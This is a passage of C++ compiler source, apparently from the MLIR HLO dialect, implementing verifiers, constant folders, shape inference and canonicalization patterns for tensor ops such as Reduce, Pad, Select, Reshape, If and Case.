operands[0].dyn_cast_or_null<DenseElementsAttr>(); auto rhsVal = operands[1].dyn_cast_or_null<DenseElementsAttr>(); if (lhsVal && lhsVal.isSplat()) { if (lhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return rhs(); } } if (rhsVal && rhsVal.isSplat()) { if (rhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return lhs(); } } if (!rhsVal || !lhsVal) return {}; llvm::SmallVector<APInt, 4> values; values.reserve(rhsVal.getNumElements()); for (auto it : llvm::zip(rhsVal.getIntValues(), lhsVal.getIntValues())) { values.push_back(std::get<0>(it) ^ std::get<1>(it)); } return DenseIntElementsAttr::get(rType, values); } //===----------------------------------------------------------------------===// // MapOp //===----------------------------------------------------------------------===// static LogicalResult Verify(MapOp op) { // Checks if the number of `operands` match the arity of the map `computation` // region. auto& computation_block = op.computation().front(); auto computation_args = computation_block.getArguments(); if (op.operands().size() != computation_args.size()) return op.emitOpError() << "expects number of operands to match the arity " "of map computation, but got: " << op.operands().size() << " and " << computation_args.size(); // The parameters of computation should all be scalars and match the element // type of operands. auto operand_type = op.operands()[0].getType().cast<TensorType>(); auto operand_elem_ty = operand_type.getElementType(); for (auto indexed_arg : llvm::enumerate(computation_args)) { auto arg_type = indexed_arg.value().getType().dyn_cast<TensorType>(); if (!arg_type || arg_type.getRank() != 0) return op.emitOpError() << "computation arguments must be 0-rank tensor, but got: arg #" << indexed_arg.index() << " of type " << indexed_arg.value().getType(); if (arg_type.getElementType() != operand_elem_ty) { return op.emitOpError() << "element type of operands and computation arguments must " "match, but got: " << operand_elem_ty << " and " << arg_type.getElementType(); } } // Mapped computation must return single output auto computation_outputs = computation_block.getTerminator()->getOperands(); if (computation_outputs.size() != 1) return op.emitOpError() << "computation must return single output, but got: " << computation_outputs.size(); // The output of computation must be scalar and have the same element type // as op result. auto computation_output_type = computation_outputs[0].getType().dyn_cast<TensorType>(); if (!computation_output_type || computation_output_type.getRank() != 0) return op.emitOpError() << "computation must return 0-rank tensor, but got: " << computation_outputs[0].getType(); auto result_type = op.getType().cast<TensorType>(); if (computation_output_type.getElementType() != result_type.getElementType()) return op.emitOpError() << "element type of result and computation output " "must match, but got: " << result_type.getElementType() << " and " << computation_output_type.getElementType(); // Checks that the requested map dimension numbers are monotonically // increasing. auto values = op.dimensions().getValues<int64_t>(); auto dimensions = std::vector<int64_t>{values.begin(), values.end()}; for (int i = 0, e = dimensions.size(); i < e; ++i) { if (dimensions[i] != i) return op.emitOpError() << "requires monotonically increasing dimension " "numbers, but got: " << op.dimensions(); } // Checks that number of dimensions of operands matches the size of // `dimensions` since we currently only support mapping across all // dimensions: i.e., scalar map functions. if (operand_type.hasRank()) { if (dimensions.size() != operand_type.getShape().size()) return op.emitOpError() << "applied to a subset of dimensions currently not supported: " "operand dimensions = " << operand_type.getShape().size() << ", requested map dimensions size = " << dimensions.size(); } return success(); } OpFoldResult MapOp::fold(ArrayRef<Attribute> operands) { mlir::Block& bb = computation().front(); mlir::Operation& front_op = bb.front(); auto ret_op = mlir::dyn_cast<ReturnOp>(front_op); if (!ret_op) return nullptr; if (ret_op.results().size() != 1) return nullptr; for (mlir::BlockArgument barg : bb.getArguments()) { if (barg == ret_op.results()[0]) return getOperands()[barg.getArgNumber()]; } return nullptr; } //===----------------------------------------------------------------------===// // RecvOp //===----------------------------------------------------------------------===// // Checks that the result type is of the form `tuple<any_type, mhlo::token>` static LogicalResult Verify(RecvOp op) { auto result_ty = op.getResult().getType().cast<TupleType>(); auto subtypes = result_ty.getTypes(); if (subtypes.size() != 2) return op.emitOpError() << "result is expected to be a tuple of size 2, but got " << subtypes.size(); if (!subtypes[1].isa<TokenType>()) return op.emitOpError() << "second element of result tuple is expected to " "be of token type, but got " << subtypes[1]; return success(); } //===----------------------------------------------------------------------===// // CopyOp //===----------------------------------------------------------------------===// OpFoldResult CopyOp::fold(ArrayRef<Attribute> operands) { return getOperand(); } //===----------------------------------------------------------------------===// // ReduceWindowOp //===----------------------------------------------------------------------===// // For reduce-window, all `inputs` need to have compatible shapes. static LogicalResult Verify(ReduceWindowOp op) { if (failed(verifyCompatibleShapes(op.inputs().getTypes()))) return op.emitOpError() << "requires same shape for all inputs"; return success(); } // Get the operation used for reduction applied to `result_index`th result. Its // expected to be a binary operation that consumes `result_index`th and // `result_index + operands().size`th arguments of the body. Operation* ReduceWindowOp::getReductionOp(int result_index) { auto return_op = cast<ReturnOp>(body().front().getTerminator()); Operation* compute_op = return_op.results()[result_index].getDefiningOp(); if (compute_op->getNumOperands() != 2) return nullptr; auto arg0 = compute_op->getOperand(0).dyn_cast<BlockArgument>(); auto arg1 = compute_op->getOperand(1).dyn_cast<BlockArgument>(); if (!arg0 || !arg1) return nullptr; int arg0_num = arg0.getArgNumber(); int arg1_num = arg1.getArgNumber(); int other_arg_index = result_index + inputs().size(); if (arg0_num == result_index && arg1_num == other_arg_index) return compute_op; if (arg0_num == other_arg_index && arg1_num == result_index && compute_op->hasTrait<mlir::OpTrait::IsCommutative>()) return compute_op; return nullptr; } //===----------------------------------------------------------------------===// // ReverseOp //===----------------------------------------------------------------------===// OpFoldResult ReverseOp::fold(ArrayRef<Attribute> operands) { auto input = operand(); // No dimensions to reverse. if (dimensions().getNumElements() == 0) return input; llvm::SmallVector<APInt, 5> new_dims; new_dims.reserve(dimensions().getNumElements()); auto shaped_type = input.getType().cast<ShapedType>(); for (auto dim : dimensions().getValues<APInt>()) { if (shaped_type.getDimSize(dim.getLimitedValue()) != 1) { return nullptr; } } return input; } LogicalResult ReverseOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { return deriveShapeFromOperand(&builder, getOperation(), operands.front(), &reifiedReturnShapes); } //===----------------------------------------------------------------------===// // ReduceOp //===----------------------------------------------------------------------===// // Returns the result type after reducing operand of the given type across the // specified dimensions. static TensorType GetReduceResultType(Type operand_ty, DenseIntElementsAttr dimensions, Builder* builder) { Type element_ty = getElementTypeOrSelf(operand_ty); auto ranked_ty = operand_ty.dyn_cast<RankedTensorType>(); if (!ranked_ty) return UnrankedTensorType::get(element_ty); int64_t rank = ranked_ty.getRank(); llvm::SmallVector<bool, 4> dims_mask(rank, false); for (int64_t dim : dimensions.getValues<int64_t>()) dims_mask[dim] = true; SmallVector<int64_t, 4> shape; for (int64_t i = 0; i < rank; ++i) { if (!dims_mask[i]) shape.push_back(ranked_ty.getDimSize(i)); } return RankedTensorType::get(shape, element_ty); } void ReduceOp::build(OpBuilder& builder, OperationState& state, ValueRange inputs, ValueRange init_values, DenseIntElementsAttr dimensions) { SmallVector<Type, 1> result_ty; result_ty.reserve(inputs.size()); for (Value input : inputs) { result_ty.push_back( GetReduceResultType(input.getType(), dimensions, &builder)); } build(builder, state, result_ty, inputs, init_values, dimensions); } LogicalResult ReduceOp::fold(ArrayRef<Attribute> operands, SmallVectorImpl<OpFoldResult>& results) { // No dimensions to reduce. if (dimensions().getNumElements() == 0) { for (Value input : this->inputs()) { results.push_back(input); } return success(); } // If all returned values in the ReduceOp region exists outside // the region replace the ReduceOp with those values. mlir::Block& bb = this->body().front(); SmallVector<Value> replaced_results; if (auto ret_op = mlir::dyn_cast<ReturnOp>(bb.back())) { for (Value result : ret_op.results()) { if (result.getParentRegion() == ret_op->getParentRegion()) return failure(); replaced_results.push_back(result); } results.insert(results.end(), replaced_results.begin(), replaced_results.end()); return success(); } return failure(); } // Enable constant folding to occur within the region of the ReduceOp // by replacing block argument uses with constants if: // 1. All the ReduceOp operands are splat constants. // 2. The ReduceOp region consists of a single logical AND or logical OR. // The pattern leverages the idempotent property of the AND and OR operators // to determine the value of a reduction on splat constants. Other boolean // operators do not have this property, and need separate patterns to resolve // reductions of their splat constants. struct LowerBoolSplatConstantsIntoRegion : public OpRewritePattern<ReduceOp> { using OpRewritePattern<ReduceOp>::OpRewritePattern; LogicalResult matchAndRewrite(ReduceOp op, PatternRewriter& rewriter) const override { mlir::Block& bb = op.body().front(); // Ensure only a compute op and return op exist and the // compute op is an AND or OR op. if (bb.getOperations().size() != 2) return failure(); if (!mlir::isa<mhlo::AndOp, mhlo::OrOp>(bb.front())) return failure(); // Ensure all operands are splat constants. SmallVector<DenseElementsAttr, 4> barg_cst_attrs; for (auto inp_and_barg : llvm::zip(op.getOperands(), bb.getArguments())) { Value inp = std::get<0>(inp_and_barg); BlockArgument barg = std::get<1>(inp_and_barg); ConstOp cst = inp.getDefiningOp<ConstOp>(); if (!cst) return failure(); auto cst_attr = cst.value().dyn_cast_or_null<DenseElementsAttr>(); if (!cst_attr.isSplat()) { return rewriter.notifyMatchFailure(op, "Must be splat constant."); } auto barg_shaped_type = barg.getType().dyn_cast<ShapedType>(); if (!barg_shaped_type) return failure(); auto barg_cst_attr = DenseElementsAttr::get(barg_shaped_type, cst_attr.getSplatValue()); barg_cst_attrs.push_back(barg_cst_attr); } // Create new splat constants to replace block arguments. for (BlockArgument barg : bb.getArguments()) { int arg_idx = barg.getArgNumber(); mhlo::ConstOp new_cst = rewriter.create<mhlo::ConstOp>( bb.front().getLoc(), barg.getType(), barg_cst_attrs[arg_idx]); barg.replaceAllUsesWith(new_cst); } return success(); } }; void ReduceOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<LowerBoolSplatConstantsIntoRegion>(context); } LogicalResult ReduceOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { ReduceOp::Adaptor adaptor(operands); auto inputs = adaptor.inputs(); auto operand_type = inputs[0].getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!operand_type) return failure(); Location loc = this->getLoc(); SmallVector<Value, 4> shape_values; SmallVector<int64_t, 4> dimensions(this->dimensions().getValues<int64_t>()); shape_values.reserve(operand_type.getRank()); Type shape_scalar_type = builder.getIndexType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; for (const auto& element : llvm::enumerate(operand_type.getShape())) { int64_t idx = element.index(); auto it = std::find(dimensions.begin(), dimensions.end(), idx); if (it != dimensions.end()) { continue; } Value value_dim = to_shape_scalar_type( builder.create<tensor::DimOp>(loc, inputs[0], element.index())); shape_values.push_back(value_dim); } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); for (size_t i = 0; i < inputs.size(); ++i) { reifiedReturnShapes.push_back(output_shape); } return success(); } //===----------------------------------------------------------------------===// // RngNormalOp //===----------------------------------------------------------------------===// LogicalResult RngNormalOp::inferReturnTypeComponents( MLIRContext* context, Optional<Location> location, ValueShapeRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<ShapedTypeComponents>& inferredReturnShapes) { return rngInferReturnTypeComponents(context, location, operands, attributes, regions, inferredReturnShapes); } //===----------------------------------------------------------------------===// // RngUniformOp //===----------------------------------------------------------------------===// LogicalResult RngUniformOp::inferReturnTypeComponents( MLIRContext* context, Optional<Location> location, ValueShapeRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<ShapedTypeComponents>& inferredReturnShapes) { return rngInferReturnTypeComponents(context, location, operands, attributes, regions, inferredReturnShapes); } //===----------------------------------------------------------------------===// // SelectOp //===----------------------------------------------------------------------===// static LogicalResult Verify(SelectOp op) { // TODO(jpienaar): Update to allow broadcastable and unranked inputs. This // corresponds to the client side HLO. return success(); } OpFoldResult SelectOp::fold(ArrayRef<Attribute> operands) { if (on_true() == on_false()) { return on_true(); } auto predicate = operands[0].dyn_cast_or_null<DenseIntElementsAttr>(); if (!predicate) { return {}; } auto predicateTy = predicate.getType().cast<ShapedType>(); if (!predicateTy.getElementType().isInteger(1)) { return {}; } if (predicate.isSplat()) { return predicate.getSplatValue<APInt>().getBoolValue() ? on_true() : on_false(); } return {}; } // Makes it such that a SelectOp that is a non-root operation in a DRR infers // the return type based on operand type. LogicalResult SelectOp::inferReturnTypes( MLIRContext*, Optional<Location> location, ValueRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<Type>& inferredReturnTypes) { auto x_type = operands[1].getType(); auto y_type = operands[2].getType(); auto x_tensor = x_type.cast<TensorType>(); auto y_tensor = y_type.cast<TensorType>(); // Check for type compatibility in the select op. This requires that the two // non-predicate operands: // (a) have the same element type // (b) have compatible shapes (i.e. the same shape and/or at least one // dynamic shape) if (x_tensor.getElementType() != y_tensor.getElementType() || failed(mlir::verifyCompatibleShape(x_type, y_type))) { return emitOptionalError(location, "incompatible operand types: ", x_type, " and ", y_type); } // TODO(lucyfox): Support output shape inference when operands have compatible // shapes. (The output shape should be the most general of the operand shapes // at each dimension.) For now, handle the straightforward cases and fail // otherwise. When this is fully implemented, this logic should move into // reusable functionality in MLIR Core. Type output_type; if (x_type == y_type || !x_tensor.hasRank()) { output_type = x_type; } else if (!y_tensor.hasRank()) { output_type = y_type; } else { return emitOptionalError(location, "currently unsupported operand types: ", x_type, " and ", y_type); } inferredReturnTypes.assign({output_type}); return success(); } LogicalResult SelectOp::inferReturnTypeComponents( mlir::MLIRContext* ctx, llvm::Optional<mlir::Location> loc, ValueShapeRange operands, mlir::DictionaryAttr attributes, mlir::RegionRange regions, llvm::SmallVectorImpl<mlir::ShapedTypeComponents>& inferredShapedTypeComponents) { llvm::SmallVector<Type, 4> inferredReturnTypes; const LogicalResult infer_types_status = inferReturnTypes( ctx, loc, operands, attributes, regions, inferredReturnTypes); if (infer_types_status.failed()) return infer_types_status; if (inferredReturnTypes.size() != 1) return failure(); auto result_tensor_type = inferredReturnTypes[0].dyn_cast_or_null<TensorType>(); if (!result_tensor_type) return failure(); mlir::Type element_type = operands[1].getType().cast<TensorType>().getElementType(); inferredShapedTypeComponents.push_back( {result_tensor_type.getShape(), element_type}); return success(); } LogicalResult SelectOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { // For `hlo.select`, the first operand may be a scalar. return deriveShapeFromOperand(&builder, getOperation(), operands[1], &reifiedReturnShapes); } //===----------------------------------------------------------------------===// // SetDimensionSizeOp //===----------------------------------------------------------------------===// static LogicalResult Verify(SetDimensionSizeOp op) { if (auto size = op.size().getType().dyn_cast<RankedTensorType>()) { if (size.getRank() != 0) return op.emitOpError() << "size operand should be of rank-0"; } return VerifyDimAttr(op); } OpFoldResult SetDimensionSizeOp::fold(ArrayRef<Attribute> operands) { DenseElementsAttr input = operands[0].dyn_cast_or_null<DenseElementsAttr>(); if (input) return input; DenseElementsAttr size = operands[1].dyn_cast_or_null<DenseElementsAttr>(); if (!size || !size.isSplat()) return {}; auto ty = getType().dyn_cast<RankedTensorType>(); if (!ty) return {}; int64_t dim_size = ty.getDimSize(dimension()); if (dim_size == size.getSplatValue().cast<IntegerAttr>().getInt()) return operand(); return {}; } //===----------------------------------------------------------------------===// // PadOp //===----------------------------------------------------------------------===// static LogicalResult Verify(PadOp op) { auto input_type = op.operand().getType().cast<RankedTensorType>(); auto pad_type = op.padding_value().getType().cast<RankedTensorType>(); if (pad_type.getRank() != 0) { return op.emitOpError( llvm::formatv("padding value type should be a rank-0 " "tensor, is rank {0}", pad_type.getRank())); } const auto& padding_low = op.edge_padding_low(); if (padding_low.getType().getNumElements() != input_type.getRank()) { return op.emitOpError(llvm::formatv( "edge_padding_low length ({0}) must match operand rank ({1})", padding_low.getType().getNumElements(), input_type.getRank())); } const auto& padding_high = op.edge_padding_high(); if (padding_high.getType().getNumElements() != input_type.getRank()) { return op.emitOpError(llvm::formatv( "edge_padding_high length ({0}) must match operand rank ({1})", padding_high.getType().getNumElements(), input_type.getRank())); } const auto& padding_interior = op.interior_padding(); if (padding_interior.getType().getNumElements() != input_type.getRank()) { return op.emitOpError(llvm::formatv( "interior_padding length ({0}) must match operand rank ({1})", padding_interior.getType().getNumElements(), input_type.getRank())); } auto input_shape = input_type.getShape(); auto output_shape = op.getResult().getType().cast<RankedTensorType>().getShape(); if (input_shape.size() != output_shape.size()) { return op.emitOpError( llvm::formatv("operand rank ({0}) and result rank({0}) should match", input_shape.size(), output_shape.size())); } for (int i = 0, e = input_shape.size(); i < e; i++) { int64_t padding_low_val = padding_low.getValue<IntegerAttr>(i).getInt(); int64_t padding_high_val = padding_high.getValue<IntegerAttr>(i).getInt(); int64_t padding_interior_val = padding_interior.getValue<IntegerAttr>(i).getInt(); int64_t expected_output = input_shape[i] + padding_low_val + padding_high_val + std::max<int64_t>(input_shape[i] - 1, 0LL) * padding_interior_val; if (expected_output != output_shape[i]) { return op.emitOpError(llvm::formatv( "expected output shape's dimension #{0} to be {1} but found {2}", i, expected_output, output_shape[i])); } } return success(); } OpFoldResult PadOp::fold(ArrayRef<Attribute> operands) { // If all padding is zero then it is an identity pad. auto is_zero = [](const APInt& i) { return i == 0; }; if (llvm::all_of(edge_padding_low().getIntValues(), is_zero) && llvm::all_of(edge_padding_high().getIntValues(), is_zero) && llvm::all_of(interior_padding().getIntValues(), is_zero)) return operand(); // If any padding is negative then it isn't supported by the folder (yet). auto is_negative = [](const APInt& i) { return i.slt(0); }; if (llvm::all_of(edge_padding_low().getIntValues(), is_negative) && llvm::all_of(edge_padding_high().getIntValues(), is_negative) && llvm::all_of(interior_padding().getIntValues(), is_negative)) return {}; DenseElementsAttr input = operands[0].dyn_cast_or_null<DenseElementsAttr>(); DenseElementsAttr padding = operands[1].dyn_cast_or_null<DenseElementsAttr>(); RankedTensorType return_type = getType().dyn_cast_or_null<RankedTensorType>(); if (!input || !input.getType().hasRank() || !padding || !return_type || !return_type.hasStaticShape()) return {}; // Fill the full result tensor with the padding value. llvm::SmallVector<Attribute, 4> result(return_type.getNumElements(), padding.getValue({})); auto next_index = [](llvm::SmallVector<uint64_t, 8>& index, llvm::ArrayRef<int64_t> shape) { for (int64_t i = index.size() - 1; i >= 0; --i) { ++index[i]; if (index[i] < shape[i]) return; index[i] = 0; } }; // Iterate over all elements of the input tensor and copy it to the correct // location in the output tensor. llvm::SmallVector<uint64_t, 8> index(input.getType().getRank(), 0); uint64_t num_elements = input.getNumElements(); for (uint64_t operand_idx = 0; operand_idx < num_elements; operand_idx++) { uint64_t result_idx = 0; uint64_t idx_multiplyer = 1; for (int64_t i = index.size() - 1; i >= 0; --i) { result_idx += (edge_padding_low().getValue<int64_t>({uint64_t(i)}) + index[i] * (interior_padding().getValue<int64_t>({uint64_t(i)}) + 1)) * idx_multiplyer; idx_multiplyer *= return_type.getDimSize(i); } result[result_idx] = input.getValue(index); next_index(index, input.getType().getShape()); } return DenseElementsAttr::get(return_type, result); } //===----------------------------------------------------------------------===// // DynamicPadOp //===----------------------------------------------------------------------===// void DynamicPadOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<DPadToPad>(context); } static LogicalResult Verify(DynamicPadOp op) { auto input_type = op.operand().getType().dyn_cast<RankedTensorType>(); // If operand is unranked, there is very little to verify statically. if (!input_type) return success(); int input_rank = input_type.getRank(); auto pad_type = op.padding_value().getType().cast<RankedTensorType>(); if (pad_type.getRank() != 0) { return op.emitOpError() << "padding value type should be a rank-0"; } auto padding_low_type = op.edge_padding_low().getType().cast<RankedTensorType>(); if (padding_low_type.getNumElements() != input_rank) { return op.emitOpError() << "edge_padding_low length(" << padding_low_type.getNumElements() << ") must match operand rank(" << input_rank << ")."; } auto padding_high_type = op.edge_padding_high().getType().cast<RankedTensorType>(); if (padding_high_type.getNumElements() != input_rank) { return op.emitOpError() << "edge_padding_high length(" << padding_high_type.getNumElements() << ") must match operand rank(" << input_rank << ")."; } auto interior_padding_type = op.interior_padding().getType().cast<RankedTensorType>(); if (interior_padding_type.getNumElements() != input_rank) { return op.emitOpError() << "edge_padding_interior length(" << interior_padding_type.getNumElements() << ") must match operand rank(" << input_rank << ")."; } auto output_type = op.getResult().getType().dyn_cast<RankedTensorType>(); // If result is unranked, there is very little to verify statically. if (!output_type) return success(); int output_rank = output_type.getRank(); if (input_rank != output_rank) { return op.emitOpError() << "operand rank(" << input_rank << ") must match result(" << output_rank << ")."; } return success(); } LogicalResult DynamicPadOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DynamicPadOp::Adaptor adaptor(operands); Value operand = adaptor.operand(); Value edge_padding_low = adaptor.edge_padding_low(); Value edge_padding_high = adaptor.edge_padding_high(); Value interior_padding = adaptor.interior_padding(); auto operand_type = operand.getType().dyn_cast<RankedTensorType>(); // Not support unranked pad a.t.m. if (!operand_type) return failure(); auto loc = this->getLoc(); SmallVector<Value, 4> shape_values; shape_values.reserve(operand_type.getRank()); Type shape_scalar_type = edge_padding_low.getType().cast<ShapedType>().getElementType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; Value zero = to_shape_scalar_type(builder.create<ConstantIndexOp>(loc, 0)); Value one = to_shape_scalar_type(builder.create<ConstantIndexOp>(loc, 1)); for (int idx : llvm::seq<int>(0, operand_type.getShape().size())) { Value value_dim = to_shape_scalar_type(builder.create<tensor::DimOp>(loc, operand, idx)); Value offset = builder.create<ConstantIndexOp>(loc, idx); Value value_low = builder.create<tensor::ExtractOp>(loc, edge_padding_low, offset); Value value_high = builder.create<tensor::ExtractOp>(loc, edge_padding_high, offset); Value value_interior = builder.create<tensor::ExtractOp>(loc, interior_padding, offset); // output_size = input_size + padding_low + padding_high + interior * // max(input_size - 1, 0) Value value_dim_less_than_one = builder.create<CmpIOp>(loc, CmpIPredicate::slt, value_dim, one); Value interior_size = builder.create<MulIOp>( loc, value_interior, builder.create<mlir::SelectOp>( loc, value_dim_less_than_one, zero, builder.create<SubIOp>(loc, value_dim, one))); shape_values.push_back(builder.create<AddIOp>( loc, builder.create<AddIOp>( loc, builder.create<AddIOp>(loc, interior_size, value_dim), value_low), value_high)); } reifiedReturnShapes.push_back(builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values)); return success(); } //===----------------------------------------------------------------------===// // ReshapeOp //===----------------------------------------------------------------------===// static LogicalResult Verify(ReshapeOp op) { // If the operand type is dynamically shaped there is nothing to verify. auto operand_ty = op.operand().getType().dyn_cast<RankedTensorType>(); if (!operand_ty || !operand_ty.hasStaticShape()) return success(); // If the operand type is statically shaped (not required) the number of // elements must match that of the result type. auto result_ty = op.getType().cast<RankedTensorType>(); assert(result_ty && result_ty.hasStaticShape() && "result type must be statically shaped"); int64_t num_result_elements = result_ty.getNumElements(); int64_t num_operand_elements = operand_ty.getNumElements(); if (num_result_elements != num_operand_elements) return op.emitOpError() << "number of output elements (" << num_result_elements << ") doesn't match expected number of elements (" << num_operand_elements << ")"; return success(); } OpFoldResult ReshapeOp::fold(ArrayRef<Attribute> operands) { if (getOperand().getType() == getType()) { return getOperand(); } if (auto prev_op = getOperand().getDefiningOp<ReshapeOp>()) { setOperand(prev_op.getOperand()); return getResult(); } if (auto elements = operands.front().dyn_cast_or_null<DenseElementsAttr>()) { return elements.reshape(getResult().getType().cast<ShapedType>()); } return {}; } void ReshapeOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<IdentityBroadcastReshape, IdentityBroadcastInDimReshape, EliminateRedundantReshape, EliminateIdentityReshape>(context); } //===----------------------------------------------------------------------===// // ReplicaId Op //===----------------------------------------------------------------------===// LogicalResult ReplicaIdOp::inferReturnTypes( MLIRContext* context, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { inferredReturnTypes.push_back(RankedTensorType::get( /*shape=*/{}, IntegerType::get(context, 32, IntegerType::Unsigned))); return success(); } //===----------------------------------------------------------------------===// // If Op //===----------------------------------------------------------------------===// static LogicalResult VerifyConditionalBranch(Operation* op, Region& region, Value operand, llvm::Twine branchName, llvm::Twine operandName) { mlir::Block& entryBlock = region.front(); if (entryBlock.getNumArguments() != 1) return op->emitOpError() << branchName << " block should have single argument, but found " << entryBlock.getNumArguments(); Type operandType = operand.getType(); Type branchArgType = entryBlock.getArgument(0).getType(); if (branchArgType != operandType) return op->emitOpError() << operandName << " type (" << operandType << ") does not match " << branchName << " block arg type (" << branchArgType << ")"; TypeRange branchReturnTypes = entryBlock.getTerminator()->getOperandTypes(); if (branchReturnTypes != op->getResultTypes()) return op->emitOpError() << branchName << " returned types (" << branchReturnTypes << ") do not match op result types (" << op->getResultTypes() << ")"; return success(); } static LogicalResult Verify(IfOp op) { if (failed(VerifyConditionalBranch(op, op.true_branch(), op.true_arg(), /*branchName=*/"true_branch", /*operandName=*/"true_arg"))) { return failure(); } if (failed(VerifyConditionalBranch(op, op.false_branch(), op.false_arg(), /*branchName=*/"false_branch", /*operandName=*/"false_arg"))) { return failure(); } return success(); } static LogicalResult InlineIfConstantCondition(IfOp ifOp, PatternRewriter& rewriter) { DenseIntElementsAttr pred_attr; if (!matchPattern(ifOp.pred(), m_Constant(&pred_attr))) return failure(); if (pred_attr.getSplatValue<BoolAttr>().getValue()) { ReplaceOpWithRegion(rewriter, ifOp, ifOp.true_branch(), ifOp.true_arg()); } else { ReplaceOpWithRegion(rewriter, ifOp, ifOp.false_branch(), ifOp.false_arg()); } return success(); } void IfOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.add(&InlineIfConstantCondition); } //===----------------------------------------------------------------------===// // Case Op //===----------------------------------------------------------------------===// static LogicalResult Verify(CaseOp op) { auto num_branches = op.branches().size(); if (op.branch_operands().size() != num_branches) return op.emitOpError() << " number of branches (" << num_branches << ") does not match number of branch operands (" << op.branch_operands().size() << ")"; for (unsigned i = 0; i < num_branches; ++i) if (failed(VerifyConditionalBranch( op, op.branches()[i], op.branch_operands()[i], /*branchName=*/"branch " + Twine(i), /*operandName=*/"branch_operand " + Twine(i)))) return failure(); return success(); } static LogicalResult InlineCaseConstantCondition(CaseOp caseOp, PatternRewriter& rewriter) { DenseIntElementsAttr index_attr; if (!matchPattern(caseOp.index(), m_Constant(&index_attr))) { return failure(); } int64_t index = index_attr.getSplatValue<IntegerAttr>().getValue().getSExtValue(); // For an OOB index, the last branch is executed as the default branch: // https://www.tensorflow.org/xla/operation_semantics#conditional if (index < 0 || index >= caseOp.getNumRegions()) index = caseOp.getNumRegions() - 1; Region& region = caseOp.getRegion(index); if (!llvm::hasSingleElement(region)) return failure(); ReplaceOpWithRegion(rewriter, caseOp, region, caseOp.branch_operands()[index]); return success(); } void CaseOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.add(&InlineCaseConstantCondition); } //===----------------------------------------------------------------------===// // SqrtOp //===----------------------------------------------------------------------===// OpFoldResult SqrtOp::fold(ArrayRef<Attribute> operands) { auto val = operands[0].dyn_cast_or_null<DenseElementsAttr>(); if (!val) return {}; auto type = getElementTypeOrSelf(getType()); if (!type.isF32() && !type.isF64()) return {}; auto shaped_type = getType().cast<ShapedType>(); if (!shaped_type.hasStaticShape()) return {}; int bit_width = type.getIntOrFloatBitWidth(); llvm::SmallVector<APFloat, 4> values; values.reserve(val.getNumElements()); for (auto it : val.getFloatValues()) { double value = bit_width == 32 ? it.convertToFloat() : it.convertToDouble(); if (value < 0) return {}; value = std::sqrt(value); if (bit_width == 32) values.emplace_back(static_cast<float>(value)); else values.emplace_back(value); } return DenseFPElementsAttr::get(shaped_type, values); } //===----------------------------------------------------------------------===// // RsqrtOp //===----------------------------------------------------------------------===// OpFoldResult RsqrtOp::fold(ArrayRef<Attribute> operands) { auto val = operands[0].dyn_cast_or_null<DenseElementsAttr>(); if (!val) return {}; auto type = getElementTypeOrSelf(getType()); if (!type.isF32() && !type.isF64()) return {}; auto shaped_type = getType().cast<ShapedType>(); if (!shaped_type.hasStaticShape()) return {}; int bit_width = type.getIntOrFloatBitWidth(); llvm::SmallVector<APFloat, 4> values; values.reserve(val.getNumElements()); for (auto it : val.getFloatValues()) { double value = bit_width == 32 ? it.convertToFloat() : it.convertToDouble(); if (value < 0) return {}; value = 1.0 / std::sqrt(value); if (bit_width == 32) values.emplace_back(static_cast<float>(value)); else values.emplace_back(value); } return DenseFPElementsAttr::get(shaped_type, values); } //===----------------------------------------------------------------------===// // UnaryOps //===----------------------------------------------------------------------===// template <typename Op, typename ElementType = Type, typename ValType, typename Convert> static Attribute UnaryFolder(Op* op, ArrayRef<Attribute> attrs) { if (!attrs[0]) return {}; DenseElementsAttr val = attrs[0].dyn_cast<DenseElementsAttr>(); if (!val) return {}; ShapedType type = op->getType().template cast<ShapedType>(); if (!type.hasStaticShape()) { return {}; } Type etype = type.getElementType(); // Evaluate for integer values. if (!etype.isa<ElementType>()) { return {}; } SmallVector<ValType, 6> values; values.reserve(val.getNumElements()); for (const auto v : val.getValues<ValType>()) { values.push_back(Convert()(v)); } return DenseElementsAttr::get(type, values); } struct round { APFloat operator()(const APFloat& f) { APFloat r = f; r.roundToIntegral(llvm::RoundingMode::NearestTiesToAway); return r; } }; struct logical_not { APInt operator()(const APInt& i) { return APInt(i.getBitWidth(), static_cast<uint64_t>(!i)); } }; template <typename FloatOrInt> struct sign { APFloat compute(const APFloat& f) { if (f.isZero() || f.isNaN()) return f; double value = f.isNegative() ? -1.0 : 1.0; APFloat val(value); bool unused; val.convert(f.getSemantics(), APFloat::rmNearestTiesToEven, &unused); return val; } APInt compute(const APInt& i) { APInt r = i; if (r == 0) return r; if (r.isNegative()) { return APInt(r.getBitWidth(), -1, /*isSigned=*/true); } return APInt(r.getBitWidth(), 1, /*isSigned=*/true); } FloatOrInt operator()(const FloatOrInt& fi) { return compute(fi); } }; #define UNARY_FOLDER(Op, Func) \ OpFoldResult Op::fold(ArrayRef<Attribute> attrs) { \ if (getElementTypeOrSelf(getType()).isa<FloatType>()) \ 